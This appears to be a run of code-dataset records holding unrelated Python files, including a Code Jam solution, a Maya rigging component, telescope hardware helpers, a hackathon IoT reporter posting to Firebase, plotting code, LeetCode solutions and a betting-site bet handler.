if len(sys.argv)!=3:\r\n print(\"usage:listdir.py list_dir list_file\")\r\n return 1\r\n [list_dir,list_file] = sys.argv[1:]\r\n with open(list_file,\"w\") as fo:\r\n content = os.listdir(list_dir)\r\n pprint.pprint(content,fo)\r\n print(\"done\")\r\n return 0\r\n\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\n","repo_name":"hefen1/kalpa","sub_path":"tools/scripts/listdir.py","file_name":"listdir.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23432050961","text":"\nINPUT_FILE = 'warInput.txt'\nOUTPUT_FILE = 'warOutput.txt'\n\ndef warFunction():\n inputFile = open(INPUT_FILE, 'r')\n outputFile = open(OUTPUT_FILE, 'w')\n noTestCase = int(inputFile.readline())\n \n for i in xrange(noTestCase):\n outputLine = \"Case #\" + str(i+1) + \": \"\n \n \n weighNo = int(inputFile.readline())\n #read Naomi's weigh\n NWeighList = []\n count = 0\n theLine = inputFile.readline()\n while len(NWeighList) < weighNo:\n word = \"\"\n while theLine[count] != \" \" and theLine[count] != \"\\n\":\n word += theLine[count]\n count += 1\n else:\n NWeighList.append(float(word))\n count += 1\n \n #read Ken's weigh\n KWeighList = []\n count = 0\n theLine = inputFile.readline()\n while len(KWeighList) < weighNo:\n word = \"\"\n while theLine[count] != \" \" and theLine[count] != \"\\n\":\n word += theLine[count]\n count += 1\n else:\n KWeighList.append(float(word))\n count += 1\n \n NWeighList.sort()\n KWeighList.sort()\n \n deceitfulScore = deceitfulAlgo(NWeighList, KWeighList)\n normalScore = normalAlgo(NWeighList, KWeighList)\n \n outputLine += str(deceitfulScore) + \" \" + str(normalScore)\n outputFile.write(outputLine + '\\n')\n\n\ndef deceitfulAlgo(NWeighList, KWeighList):\n weighNo = len(NWeighList)\n tempList = []\n for element in KWeighList:\n tempList.append(element)\n for i in xrange(weighNo):\n if NWeighList[i] > tempList[0]:\n tempList.remove(tempList[0])\n \n return weighNo - len(tempList)\n\ndef normalAlgo(NWeighList, KWeighList):\n weighNo = len(NWeighList)\n tempList = []\n for element in NWeighList:\n tempList.append(element)\n for i in xrange(weighNo):\n if KWeighList[i] > tempList[0]:\n tempList.remove(tempList[0])\n\n return len(tempList)\n\nif __name__ == '__main__':\n warFunction()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/1115.py","file_name":"1115.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16454723587","text":"import pymel.core as pm\nimport component\nimport keyablecomponent\nimport fkcomponent\nimport metautil\nimport metautil.nsutil as nsutil\nimport metautil.miscutil as miscutil\nimport metautil.rigutil as rigutil\nimport rigging\nimport metanode_base\n\nclass FKGroupComponent(keyablecomponent.KeyableComponent):\n LATEST_VERSION = 1\n \n @staticmethod\n def create(metanode_parent, side, region, chains, grip_group_pivot = None, lock_child_rotate_axes=[], lock_child_translate_axes=['tx', 'ty', 'tz'], lock_root_rotate_axes=[], lock_root_translate_axes=['tx', 'ty', 'tz'], children_zero_transforms = True):\n orig_ns = pm.Namespace.getCurrent()\n new_ns = nsutil.get_namespace_object(metanode_parent)\n new_ns.setCurrent()\n \n start_joint = chains[0]\n end_joint = chains[0]\n \n if grip_group_pivot:\n start_joint = grip_group_pivot\n end_joint = grip_group_pivot\n \n fk_group_node = keyablecomponent.KeyableComponent.create(metanode_parent, FKGroupComponent.__name__, FKGroupComponent.LATEST_VERSION, side, region, component_pivot=start_joint)\n \n do_not_touch = fk_group_node.get_do_not_touch()\n ctrls_group = fk_group_node.get_ctrls_group()\n\n fk_nodes = []\n for x, chain in enumerate(chains):\n start = chain\n end = pm.listRelatives(chain, ad=1)[0]\n fk_node = fkcomponent.FKComponent.create(metanode_parent = metanode_parent, start_joint = start, end_joint = end, side = side, region = region, lock_child_rotate_axes=lock_child_rotate_axes, children_zero_transforms=children_zero_transforms, lock_root_translate_axes=lock_root_translate_axes)\n fk_nodes.append(fk_node)\n fk_node.set_metanode_parent(fk_group_node)\n fk_do_not_touch_group = fk_node.get_do_not_touch()\n fk_do_not_touch_group.setParent(do_not_touch)\n fk_grip_grp = fk_node.get_ctrls_group()\n fk_grip_grp.setParent(ctrls_group)\n \n fk_group_node.connect_ordered_nodes_to_metanode(fk_nodes, 'fk_chains', parent_attr = 'fk_chain_group')\n\n orig_ns.setCurrent()\n \n return fk_group_node\n \n def get_fk_components(self):\n components = []\n for fk_chain_node in self.fk_chains.listConnections():\n components.append(metanode_base.MetaNode(fk_chain_node))\n return components\n \n def get_component(self, side, region):\n fk_components = self.get_fk_components()\n result = None\n if self.get_side().strip().lower() == str(side).strip().lower() and self.get_region().strip().lower() == str(region).strip().lower():\n result = self\n if not result:\n for component in fk_components:\n if component.get_component(side, region):\n result = component.get_component(side, region)\n return result\n \n def get_grips(self):\n grips = []\n for component in self.get_fk_components():\n flags += component.get_grips()\n return grips\n\n def get_bind_joints(self):\n bind_joints = []\n for component in self.get_fk_components():\n bind_joints += component.get_bind_joints()\n return bind_joints\n\n def select_grips(self):\n pm.select(self.get_grips())\n\n def key_grips(self):\n grips = self.get_grips()\n pm.setKeyframe(grips)\n\n def to_default_pose(self):\n for component in self.get_fk_components():\n component.to_default_pose()\n \n def attach_to_component(self, attach_component, location, point = True, orient = True):\n if not isinstance(attach_component, component.Component):\n raise StandardError(\"can't connect to metanode, {0}, it is not a component\".format(attach_component))\n for fk_component in self.get_fk_components():\n fk_component.attach_to_component(attach_component, location, point, orient)\n if point:\n #attach_component.attached_components >> self.attach_point_component\n self.attach_point_location.set(location)\n if orient:\n #attach_component.attached_components >> self.attach_orient_component\n self.attach_orient_location.set(location)\n return\n \n def attach_to_joint(self, attach_joint, point = True, orient = True):\n for fk_component in self.get_fk_components:\n fk_component.attach_to_joint(attach_joint, point, orient)\n if point:\n self.attach_point_location.set(attach_joint.nodeName())\n if orient:\n self.attach_orient_location.set(attach_joint.nodeName())\n return\n \n def attach_to_skeleton(self, namespace = None):\n '''Attaches grips to a baked skeleton in the specified namespace'''\n grips = []\n constraints = []\n for component in self.get_fk_components():\n grip, const = component.attach_to_skeleton(namespace = namespace)\n grips += grip\n constraints += const\n return [grips, constraints]\n \n def bake_and_detach(self, objects, constraints, attrs = None):\n '''Bakes grips and detaches from baked skeleton.'''\n if not attrs:\n attrs = [\"rx\", \"ry\", \"rz\"]\n start_time = miscutil.get_start_time()\n end_time = miscutil.get_end_time()\n miscutil.bake(objects = objects, attrs = attrs, time = (start_time, end_time))\n pm.delete(constraints)\n return\n \n def bake_to_skeleton(self):\n bind_joints = self.bind_joints.listConnections()\n start_time = miscutil.get_start_time()\n end_time = miscutil.get_end_time()\n miscutil.bake(objects = objects, time = (start_time, end_time))\n return\n \n def bake_on_to_skeleton(self, namespace = None):\n components = self.get_fk_components()\n for component in components:\n component.bake_on_to_skeleton(namespace = namespace)\n \n def _find_attach_point(self, location = None):\n return self.get_grip_group()\n \n def remove(self, bake = False):\n '''remove everything about this rig implementation'''\n components = self.get_fk_components()\n for component in components:\n component.remove(bake = bake)\n grip_group = self.get_ctrls_group()\n dnt_group = self.get_do_not_touch()\n pm.delete([self, dnt_group, grip_group])\n return","repo_name":"deathglitch/metarigging","sub_path":"python/metarig/fkgroupcomponent.py","file_name":"fkgroupcomponent.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34365574795","text":"\"\"\"Information about hardware supported by Panoptes.\"\"\"\n\nALL_NAMES = sorted([\n 'camera',\n 'dome',\n 'mount',\n 'night',\n 'power',\n 'sensors',\n 'theskyx',\n 'weather',\n])\n\n\ndef get_all_names(all_names=ALL_NAMES, without=list()):\n \"\"\"Returns the names of all the categories of hardware that POCS supports.\n\n Note that this doesn't extend to the Arduinos for the telemetry and camera boards, for\n which no simulation is supported at this time.\n \"\"\"\n # Make sure that 'all' gets expanded.\n if without:\n without = get_simulator_names(simulator=without)\n\n return [v for v in all_names if v not in without]\n\n\ndef get_simulator_names(simulator=None, kwargs=None, config=None):\n \"\"\"Returns the names of the simulators to be used in lieu of hardware drivers.\n\n Note that returning a list containing 'X' doesn't mean that the config calls for a driver\n of type 'X'; that is up to the code working with the config to create drivers for real or\n simulated hardware.\n\n This function is intended to be called from PanBase or similar, which receives kwargs that\n may include simulator, config or both. For example:\n get_simulator_names(config=self.config, kwargs=kwargs)\n Or:\n get_simulator_names(simulator=simulator, config=self.config)\n\n The reason this function doesn't just take **kwargs as its sole arg is that we need to allow\n for the case where the caller is passing in simulator (or config) twice, once on its own,\n and once in the kwargs (which won't be examined). Python doesn't permit a keyword argument\n to be passed in twice.\n\n Args:\n simulator:\n An explicit list of names of hardware to be simulated (i.e. hardware drivers\n to be replaced with simulators).\n kwargs:\n The kwargs passed in to the caller, which is inspected for an arg called 'simulator'.\n config:\n Dictionary created from pocs.yaml or similar.\n\n Returns:\n List of names of the hardware to be simulated.\n \"\"\"\n empty = dict()\n\n def extract_simulator(d):\n return (d or empty).get('simulator')\n\n for v in [simulator, extract_simulator(kwargs), extract_simulator(config)]:\n if not v:\n continue\n if isinstance(v, str):\n v = [v]\n if 'all' in v:\n return ALL_NAMES\n else:\n return sorted(v)\n return []\n","repo_name":"asclepiusaka/POCS","sub_path":"pocs/hardware.py","file_name":"hardware.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"25263973121","text":"############################# Init actions\nimport triggers\nimport headers\nimport random\nimport reports\nfrom firebase import firebase\nfrom datetime import datetime\n\naudio_edge = triggers.Edge(False)\ntempt_edge = triggers.Edge(False)\nlight_edge = triggers.Edge(False)\nacclt_edge = triggers.Edge(False)\n\nprint(\"Running...\\n\")\n\nwhile True:\n\t############################# LECTURA DE DATOS #############################\n\n\t# Get sensor values\n\tkeep_trying = True\n\twith open(headers.external_file, \"r\") as f:\n\t\twhile keep_trying:\n\t\t\ttry:\n\t\t\t\tsensor_data_dict = eval(f.readline())\n\t\t\t\tkeep_trying = False\n\t\t\texcept:\n\t\t\t\tpass\n\t\n\t\n\t############################# DIAGNOSTICO #############################\n\n\tTEMPT_Threshold = 29000\n\tAUDIO_Threshold = 100000\n\tLIGHT_Threshold = 3400\t#Dark limit of civil twilight under a clear sky\n\n\tACCLT_Offset = 500\t\n\n\treport_status = {\n\t\t\"Tempt\":False,\n\t\t\"Audio\":False,\n\t\t\"Light\":False,\n\t\t\"Acclt\":False\n\t}\n\n\t# Set the flag to true if the value change\n\treport = TEMPT_Threshold < sensor_data_dict[headers.temp_SensID]\n\n\tif True == tempt_edge.rise( report ):\n\t\treport_status[\"Tempt\"] = True\t\n\t\n\treport = AUDIO_Threshold < sensor_data_dict[headers.acst_SensID]\n\t\n\tif True == audio_edge.rise( report ):\n\t\treport_status[\"Audio\"] = True\n\t\n\treport = LIGHT_Threshold > sensor_data_dict[headers.lgth_SensID]\n\n\tif True == light_edge.rise( report ):\n\t\treport_status[\"Light\"] = True\n\t\t\n\treport = ACCLT_Offset < abs( sensor_data_dict[headers.accl_SensID] - 1000 )\n\n\tif True == acclt_edge.rise( report ):\n\t\tprint()\n\t\treport_status[\"Acclt\"] = True\n\n\n\t############################# EMPAQUE #############################\n\n\tLatInf = 20.63\n\tLatSup = 20.69\n\tLonInf = -103.41\n\tLonSup = -103.28\n\n\tdata_Report = []\n\n\t# Check if the report status is TRUE to send a report\n\tif True == report_status[\"Tempt\"]:\n\t\tdata = reports.template()\n\t\tif 0 == random.randint(0,1):\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de temperatura muy alto.\"\n\t\t\tdata[\"descripcion\"] = \"Posible incendio en el bosque.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Medio ambiente\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\n\t\telse:\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de temperatura muy alto.\"\n\t\t\tdata[\"descripcion\"] = \"Posible incendio urbano.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Seguridad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\n\t\n\t\tdata_Report.append(data)\n\t\n\tif True == report_status[\"Audio\"]:\n\t\tdata = reports.template()\n\t\tif 0 == random.randint(0,1):\t\t\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de sonido muy alto.\"\n\t\t\tdata[\"descripcion\"] = \"Posible asalto.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Seguridad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\n\t\telse:\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de sonido muy alto.\"\n\t\t\tdata[\"descripcion\"] = \"Posible choque.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Movilidad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\t\t\n\t\n\t\tdata_Report.append(data)\n\t\n\tif True == report_status[\"Light\"]:\n\t\tdata = reports.template()\n\t\tif 0 == random.randint(0,1):\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de irregularidad en la iluminacion.\"\n\t\t\tdata[\"descripcion\"] = \"Posible falla en faro.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Movilidad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\n\t\telse:\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de irregularidad en la iluminacion.\"\n\t\t\tdata[\"descripcion\"] = \"Apagon en toda la zona.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Seguridad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\t\n\t\n\t\tdata_Report.append(data)\n\t\t\n\tif True == report_status[\"Acclt\"]:\n\t\tdata = reports.template()\n\t\tif 0 == random.randint(0,1):\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de movimiento intenso.\"\n\t\t\tdata[\"descripcion\"] = \"Movimiento abrupto de la unidad.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Seguridad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\n\t\telse:\n\t\t\tdata[\"autor\"] = \"IoT\"\n\t\t\tdata[\"titulo\"] = \"Registro de movimiento intenso.\"\n\t\t\tdata[\"descripcion\"] = \"Evento importante de seguridad en la zona.\"\n\t\t\tdata[\"likes\"] = 0\n\t\t\tdata[\"categoria\"] = \"Seguridad\"\n\t\t\tdata[\"latitud\"] = random.uniform(LatInf, LatSup)\n\t\t\tdata[\"longitud\"] = random.uniform(LonInf, LonSup)\t\n\t\n\t\tdata_Report.append(data)\n\n\n\t############################# MANDAR #############################\n\tfb_api = firebase.FirebaseApplication('https://hackaton-e3768.firebaseio.com', None)\n\t\n\tfor report in data_Report:\n\t\tfb_api.post('/Reporte', report)\n\t\twith open(\"dummy_report\", \"a\") as f:\n\t\t\tf.write(str(report))\n\t\t\tf.write(\"\\n\")\n\t\tprint(str(datetime.now()) + \" - REPORT_SENT: \" + report[\"titulo\"])\n\n","repo_name":"leoncioh/Hacktour_Reto_iTexico","sub_path":"IoT_main.py","file_name":"IoT_main.py","file_ext":"py","file_size_in_byte":5058,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20364821506","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.4'\n# jupytext_version: 1.2.1\n# kernelspec:\n# display_name: gpd\n# language: python\n# name: gpd\n# ---\n\n# +\nimport numpy as np\nimport joypy\nimport pandas as pd\nimport re\n# No warnings about setting value on copy of slice\npd.options.mode.chained_assignment = None\n\n# Display up to 60 columns of a dataframe\npd.set_option('display.max_columns', 60)\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n# # %matplotlib inline\n\n# Set default font size\nplt.rcParams['font.size'] = 24\n\n# Internal ipython tool for setting figure size\nfrom IPython.core.pylabtools import figsize\nfigsize=(12,12)\n\nimport seaborn as sb\n# Set default font size\nsb.set(font_scale = .8)\ncustom_style = {'axes.labelcolor': 'black',\n 'xtick.color': 'black',\n 'ytick.color': 'black'}\nsb.set_style(\"white\", rc=custom_style)\nsb.set_style('ticks', {'xtick.bottom': True})\n\n\nfrom itertools import chain\n\nfrom matplotlib.collections import LineCollection\nfrom matplotlib import cm\nfrom matplotlib import markers\nfrom matplotlib.path import Path\n\n# +\nlarge_sigmas = [\n\"One_sided_sampling_BMP,_phyrex_SigmaObservedTips.*\",\n\"One_sided_sampling_BMP,_phyrex_SigmaFormula.*\",\n\"No_bias_BMP,_phyrex_SigmaObservedTips.*\",\n\"No_bias_BMP,_phyrex_SigmaFormula.*\",\n\"Diagonal_sampling_BMP,_phyrex_SigmaObservedTips.*\",\n\"Diagonal_sampling_BMP,_phyrex_SigmaFormula.*\",\n\"Central_Sampling_BMP,_phyrex_SigmaObservedTips.*\",\n\"Central_Sampling_BMP,_phyrex_SigmaFormula.*\",\n]\n\nsmall_sigmas = [\n\"Narrow_sampling_LFV,_beast_sigma.*\",\n\"Narrow_sampling_LFV,_phyrex_SigmaFormula.*\",\n\"Broad_sampling_LFV,_beast_sigma.*\",\n\"Broad_sampling_LFV,_phyrex_SigmaFormula.*\",\n\"Central_Sampling_BMP,_beast.*sigma.*\",\n\"Diagonal_Sampling_BMP,_beast.*sigma.*\",\n\"No_Bias_BMP,_beast.*sigma.*\",\n\"One_sided_Sampling_BMP,_beast.*sigma.*\",\n\".*LFV.*SigmaObservedTips.*\",\n]\n\nxsmall_sigmas = [\".*LFV.*SigmaObservedRoo.*\"]\n\nlarge_sigmas_str = '|'.join(large_sigmas)\nsmall_sigmas_str = '|'.join(small_sigmas)\nxsmall_sigmas_str = '|'.join(xsmall_sigmas)\n\ndef get_sigma_type(filename):\n f = filename.split(\"/\")[-1]\n if re.match(large_sigmas_str, f): \n return \"large\"\n elif re.match(small_sigmas_str, f): \n return \"small\"\n elif re.match(xsmall_sigmas_str, f):\n return \"xsmall\"\n else:\n return \"other\"\n\ndef make_ridgeplot(filename, out_format=\"pdf\"):\n outfile = filename.rstrip(\".txt\").split(\"/\")[-1]\n with open(filename, \"r\") as f:\n lines = [line.split(\"\\t\") for line in f.readlines()]\n df = pd.DataFrame(lines)\n df = df.apply(pd.to_numeric, errors='coerce')\n # drop cols and rows with all values missing\n df.dropna(how='all', inplace=True)\n df.dropna(how='all', axis=1, inplace=True)\n # drop non-numeric rows\n df = df.select_dtypes([np.number])\n # drop first 10% of values in each row (MCMC burn-in)\n drop_count = int(len(df.columns) * .1)\n drop_cols = df.columns[:drop_count]\n df.drop(drop_cols, axis=1, inplace=True)\n df[\"mean\"] = df.apply(np.mean, axis=1) # sort by mean\n df = df.sort_values(\"mean\")\n df[\"id\"] = np.arange(len(df)) # label each row by mean, transpose\n arr = []\n for row in df.values:\n row_id = row[-1]\n row_mean = row[-2]\n for val in row[:-2]:\n arr.append([row_id, val, row_mean])\n plot_df = pd.DataFrame(arr, columns=[\"id\", \"value\", \"mean\"])\n\n sigma_type = None\n if \"igma\" in filename:\n ref_val = 1.\n sigma_type = get_sigma_type(filename)\n # override xlim rules for specific plots\n if \"Narrow_sampling_LFV,_phyrex_SigmaObservedTips\" in filename:\n xlim = [-.001, .05]\n elif \"Broad_sampling_LFV,_phyrex_SigmaObservedTips\" in filename:\n xlim = [-.001, .05]\n elif \"Diagonal_Sampling_BMP,_phyrex_SigmaObservedTips\" in filename:\n xlim = [-10., 300]\n elif \"No_Bias_BMP,_phyrex_SigmaObservedTips\" in filename:\n xlim = [-1, 50]\n elif \"One_sided_sampling_BMP,_beast_with_extra_samples_sigma\" in filename:\n xlim = [-1, 5]\n elif sigma_type == \"large\":\n xlim = [-1, 2000]\n elif sigma_type == \"small\":\n xlim = [-1, 5]\n elif sigma_type == \"xsmall\":\n xlim = [-1e-5, 1e-5]\n else:\n xlim = None\n \n #define x ticks\n if xlim is not None:\n step = float(xlim[1] * 2 /10.)\n ticks = list(np.arange(*xlim, step))\n xlabels = [\"{:.3f}\".format(n) for n in ticks]\n \n else:\n ref_val = 0\n if \"BMP\" in filename and \"Corr\" not in filename:\n xlim = [-15,15]\n step = int(xlim[1] * 2 /10.)\n ticks = list(np.arange(*xlim, step)) + [xlim[1]]\n xlabels = [str(n) for n in ticks]\n elif \"Corr\" in filename:\n xlim = [-1,1.05]\n ticks = list(np.arange(-1, 1, .2)) + [1.]\n xlabels = [\"{:.1f}\".format(n) for n in ticks]\n else:\n xlim = [-550, 550]\n step = int(xlim[1] * 2 /10.)\n ticks = list(np.arange(*xlim, step)) + [xlim[1]]\n xlabels = [str(n) for n in ticks]\n \n #label every 10th axis\n if sigma_type == \"xsmall\":\n labels = ['{:.2e}'.format(y) for y in list(plot_df[\"mean\"].unique())]\n else:\n labels = [\"%.3f\" % (y) for y in list(plot_df[\"mean\"].unique())]\n sparse_labels = []\n na_num = int(len(df)/10 -1)\n ids_num = int(len(plot_df.id.unique()))\n for label in labels[::10]:\n sparse_labels.extend([label] + [None]*na_num)\n diff = ids_num - len(sparse_labels) -1\n sparse_labels.extend([labels[-1]] + [None]*diff)\n sparse_labels = sparse_labels[:ids_num]\n \n fig_title = outfile.replace(\"_\", \" \")\n fig, axes = joypy.joyplot(plot_df,\n by=\"id\",\n column=\"value\",\n kind=\"kde\",\n overlap=1.5,\n ylim=\"own\",\n range_style='own', # same ref system, custom limits\n x_range=xlim, # internally set x limits\n legend=False, \n title=fig_title,\n linewidth=.3,\n labels=sparse_labels,\n xlabelsize=\"small\",\n ylabelsize=\"small\",\n colormap=cm.autumn_r)\n for ax in axes:\n # adding reference would increase x range too much for these\n if sigma_type != \"xsmall\": \n # draw reference for true param value\n ax.axvline(x=ref_val, color=\"k\", linewidth=.8, zorder=10000)\n \n last_ax = axes[-1]\n last_ax.axhline(y=last_ax.get_ylim()[0], linewidth=1, color='k') # draw x axis\n if sigma_type == \"xsmall\": \n ticks = last_ax.get_xticks()\n xlabels = ['{:.2e}'.format(n) for n in ticks]\n\n last_ax.tick_params(axis='both', which='minor', bottom=False, labelbottom=False) \n last_ax.tick_params(axis='x', which='major', length=3, width=.8)\n \n if xlim is not None:\n ax.set_xticks(ticks)\n ax.set_xticklabels(xlabels)\n \n fig.savefig(\"figures/\" + outfile + \"_v2.{}\".format(out_format), \n format=out_format, dpi=\"figure\", bbox_inches=\"tight\")\n plt.close()\n\n\n# -\n\nfilename = \"data/plots_v2/One_sided_sampling_BMP,_beast_without_extra_samples_sigmaX.txt\"\nmake_ridgeplot(filename)\n\n#filenames = !ls data/plots_v2/*.txt\nfilenames = [\n \"data/plots_v2/Diagonal_Sampling_BMP,_phyrex_rootX.txt\",\n \"data/plots_v2/Diagonal_Sampling_BMP,_phyrex_rootY.txt\",\n #\"data/plots_v2/Diagonal_Sampling_BMP,_phyrex_SigmaFormula.txt\"\n]\nfor filename in filenames:\n make_ridgeplot(filename)\n","repo_name":"AntanasKal/Phylogeography","sub_path":"plots/simulation_ridgeplot.py","file_name":"simulation_ridgeplot.py","file_ext":"py","file_size_in_byte":7990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17865206256","text":"from __future__ import annotations\n\nfrom core.models import Positions\n\n\ndef get_positions(positions: str) -> list[Positions]:\n positions_list: list[Positions] = []\n positions_split = positions.split(\"\\r\\n\")\n\n for position in positions_split:\n position_from_db, positions_bool = Positions.objects.get_or_create(\n title=position.lower()\n )\n positions_list.append(position_from_db)\n\n return positions_list\n","repo_name":"EugeniRosh/job_board","sub_path":"src/job_board/core/bussiness_logic/servises/positions.py","file_name":"positions.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42549192256","text":"\"\"\"\n1.Two Sum\n\nGiven an array of integers, return indices of the two numbers such that they add up to a specific target.\nYou may assume that each input would have exactly one solution.\n\nGiven nums = [2, 7, 11, 15], target = 9,\n\nBecause nums[0] + nums[1] = 2 + 7 = 9,\nreturn [0, 1].\n\n\"\"\"\n\nclass Solution():\n\n \"\"\"\n Space: O(n)\n Time: O(n)\n\n Explanation:\n\n Iterate through every number in the list, while you are doing that\n initialize a dictionary that keeps track of every number you've seen\n and the index you've seen it at.\n\n Before you add a number to this dictionary first ask if you have seen\n the difference between the number you are currently looking at the and the\n target number in your dictionary. If you have return the index of both numbers.\n\n \"\"\"\n\n def twoSum(self, nums, target):\n\n numbersSeen = {}\n\n for (index, number) in enumerate(nums):\n\n difference = target-number\n\n if difference in numbersSeen:\n return (index, numbersSeen[difference])\n\n numbersSeen[number] = index\n\n return ()\n\n\n\n\n\n\n\n\n\n","repo_name":"nmaswood/leetcode","sub_path":"src/1-two-sum.py","file_name":"1-two-sum.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"70451746756","text":"\"\"\"\n238. Product of Array Except Self\n\"\"\"\n\nfrom typing import List\n\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n\n n = len(nums)\n if n < 2:\n return nums\n\n left = [1] * n\n right = [1] * n\n\n for i in range(1, n):\n left[i] = left[i-1] * nums[i-1]\n\n for i in range(n-2, -1, -1):\n right[i] = right[i+1] * nums[i+1]\n\n ret = [0] * n\n for i in range(0, n):\n ret[i] = left[i] * right[i]\n\n return ret\n","repo_name":"dictator-x/practise_as","sub_path":"algorithm/leetCode/0238_product_of_array_except_self.py","file_name":"0238_product_of_array_except_self.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2816453050","text":"import collections\n# 스타트링크\n# Queue 객체는 다중스레드 용으로, 백준에서 사용 불가\n# collections 내부에 있는 queue 를 사용\n\nF, S, G, U, D = map(int, input().split()) # 입력\nfloor = [-1] * (F+1) # F 층 짜리 건물정보 (0층 제외)\n\n# collections 내부에 있는 자료구조 deque()\nq = collections.deque()\nq.append([S, 0]) # append 는 입력값을 하나의 뭉텅이로 삽입\nwhile q:\n pos, val = q.popleft()\n if floor[pos] != -1:\n continue\n floor[pos] = val # 현재 위치에 도달하는데 걸린 횟수\n\n # 엘리베이터 상하 이동\n if pos + U <= F:\n q.append([pos+U, val+1]) \n if pos - D > 0:\n q.append([pos-D, val+1]) \n\nprint(floor[G] if floor[G] != -1 else \"use the stairs\")","repo_name":"ku-alps/sw15_hyunsoo","sub_path":"Python/No5014.py","file_name":"No5014.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17706380459","text":"from init_app import db, socket\n\nfrom utilities.jackpot.manager import get_bet_color\nfrom utilities.steam_user import get_steam_user\nfrom utilities.communication import send_message\n\nfrom models import User, Bet, Gamemodes, Betstates, Gamemode\n\ndef place_bet(steamid, amount, gamemode, session_id):\n if db.session.query(User).filter(User.steamid == steamid).one().balance >= amount:\n\n if db.session.query(Bet).filter(Bet.owner == steamid).filter(Bet.state == Betstates.active).filter(Bet.gamemode == gamemode).count(): \n if db.session.query(Gamemode).filter(Gamemode.gamemode == gamemode).one().multiple_bets == True:\n bet = db.session.query(Bet).filter(Gamemode.gamemode == gamemode).filter(Bet.state == Betstates.active).filter(Bet.owner == steamid).one()\n bet.amount += amount\n db.session.commit()\n\n remove_balance_from_user(steamid, amount)\n\n update_user_balance(steamid, session_id)\n\n return 'Bet has been added to current bet'\n else:\n send_message('No more than one bet per round is allowed', session_id)\n\n steam_user = get_steam_user(steamid)\n\n bet = Bet(steamid, amount, gamemode, steam_user.name, steam_user.image, session_id)\n\n if gamemode == Gamemodes.Jackpot:\n bet.color = get_bet_color()\n\n remove_balance_from_user(steamid, amount)\n\n db.session.add(bet)\n db.session.commit()\n\n update_user_balance(steamid, session_id)\n\n return 'Bet placed'\n \n send_message('Insufficent funds', session_id)\n\ndef remove_balance_from_user(steamid, amount):\n user = db.session.query(User).filter(User.steamid == steamid).one()\n user.balance -= amount\n db.session.commit()\n\ndef update_user_balance(steamid, session_id):\n balance = db.session.query(User).filter(User.steamid == steamid).one().balance\n socket.emit('balance_update', data=balance, 